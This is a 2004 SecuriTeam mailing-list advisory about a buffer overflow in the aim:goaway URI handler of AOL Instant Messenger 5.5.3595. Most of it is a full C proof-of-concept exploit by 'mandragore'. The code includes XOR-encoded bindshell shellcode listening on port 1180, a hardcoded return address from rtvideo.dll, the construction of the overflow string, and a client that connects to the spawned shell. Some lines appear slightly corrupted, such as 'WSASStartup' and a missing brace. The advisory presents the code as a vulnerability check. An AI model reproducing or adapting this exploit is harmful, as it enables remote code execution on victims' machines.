

[EXPL] AIM aim:goaway URI Handler Buffer Overflow Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-08/0050.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/15/04

To: list@securiteam.com

Date: 15 Aug 2004 14:05:54 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

AIM aim:goaway URI Handler Buffer Overflow Exploit

SUMMARY

As we reported in our previous article:

<<http://www.securiteam.com/windowsntfocus/5YP0C00DPC.html>> AOL Instant Messenger aim:goaway URI Handler Buffer Overflow, a remote exploitation of a buffer overflow vulnerability in America Online Inc.'s Instant Messenger (AIM) can allow attackers to execute arbitrary code.

The following exploit code can be used to determine whether your AIM is vulnerable to attack or not.

DETAILS

Vulnerable Systems:

* AIM version 5.5.3595

Exploit:

/*

subject: local PoC exploit for AIM 5.5.3595

Securiteam: [EXPL] AIM aim:goaway URI Handler Buffer Overflow Exploit

vendor: <http://www.aim.com>

cve: <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0636>

credits: Matt Murphy

date: 10 August 2004

notes: exploits locally if an argument is supplied, otherwise prints the url.

offsets are based on exe/dll provided in the package, so it should be NT universal.

shellcode makes a bindshell on port 1180.

greet: roSec – Romanian Security Research – www.rosec.info

author: mandragore

*/

```
#include <stdio.h>
```

```
#include <windows.h>
```

```
#include <winsock.h>
```

```
#pragma comment(lib,"ws2_32.lib")
```

```
#define GPA 0x004040a4
```

```
#define LLA 0x00404088
```

```
#define fatal(x) { perror(x); exit(1); }
```

```
unsigned char bsh[]={
```

```
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB0,0x80,0x36,0xDE,0x46,0xE2,  
0xFA,0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0x57,0xD7,0x60,0xDE,0xFE,0x9E,  
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,  
0xDA,0xFE,0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,  
0xB4,0x90,0x89,0x21,0xC8,0x21,0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xDA,  
0x42,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0xB4,0xDC,0x89,0x21,0xC8,0x21,0x0E,  
0xB4,0xDF,0x8D,0xB4,0xD3,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDE,0x8A,0x8D,  
0xB4,0xDF,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,0x87,  
0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,  
0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,  
0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,  
0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,  
0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,  
0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E  
};
```

```
char *uri="aim:goaway?message=";
```

```
unsigned char smalljmp[]={ 0xeb, 0x08 };
```

```
void client2serv(unsigned int s) {  
char buff[4096];
```

Securiteam: [EXPL] AIM aim:goaway URI Handler Buffer Overflow Exploit

```
for (;;) {
    fgets(buff,4096,stdin);
    send(s,buff,strlen(buff),0);
}

void sh() {
    int ret;
    long s;
    WSADATA wsa;
    struct sockaddr_in sin;
    char buff[4096];
    fd_set fds;
    long host=0x0100007f;

    WSASStartup(0x202,&wsa);

    sin.sin_family=2;
    sin.sin_port=htons(1180);
    sin.sin_addr = *(struct in_addr *)&host;

    s=socket(2,1,6);
    if ( ret=connect(s,(struct sockaddr *)&sin,16) != 0) {
        fatal("[ - ] damn.. it looks like it failed\n");
    } else
        printf("[ + ] connected.\n\n");

    CreateThread(0,0,(void *)client2serv,(long *)s,0,0);

    for (;;) {
        FD_ZERO(&fds);
        FD_SET(s,&fds);

        if (select(s+1, &fds, NULL, NULL, NULL) < 0)
            fatal("[ - ] shell.select()");

        if (FD_ISSET(s,&fds)) {
            if ( (ret = recv(s,buff,4096,0)) < 1 )
                fatal("[ - ] shell.recv()");
            memset(buff+ret,0,1);
            printf("%s",buff);
        }
    }

}

void fixsh() {
    int gpa=GPA^0xdededede, lla=LLA^0xdededede;
    memcpy(bsh+0x1a,&gpa,4);
    memcpy(bsh+0x2b,&lla,4);
}
```

Securiteam: [EXPL] AIM aim:goaway URI Handler Buffer Overflow Exploit

```
int main(int argc, char **argv) {
    char *t;
    int retaddr=0x10015599; // call ebx from rtvideo.dll, should be stable

    fixsh();

    t=GlobalAlloc(0x40,2000);
    memset(t,0x41,1500);
    strncpy(t,uri,strlen(uri));
    memcpy(t+1037-4,&smalljmp,2);
    memcpy(t+1037,&retaddr,4);
    memcpy(t+1037+4+4,&bsh,sizeof(bsh));

    if (argc==1) {
        printf("%s\n",t);
        return 0;
    }

    printf("[+] sending request..\n");

    ShellExecute(0,"open",t,0,0,SW_SHOW);

    printf("[%%] let's sleep 5secs..\n");

    Sleep(5000);

    sh();

    return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by mandragore.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.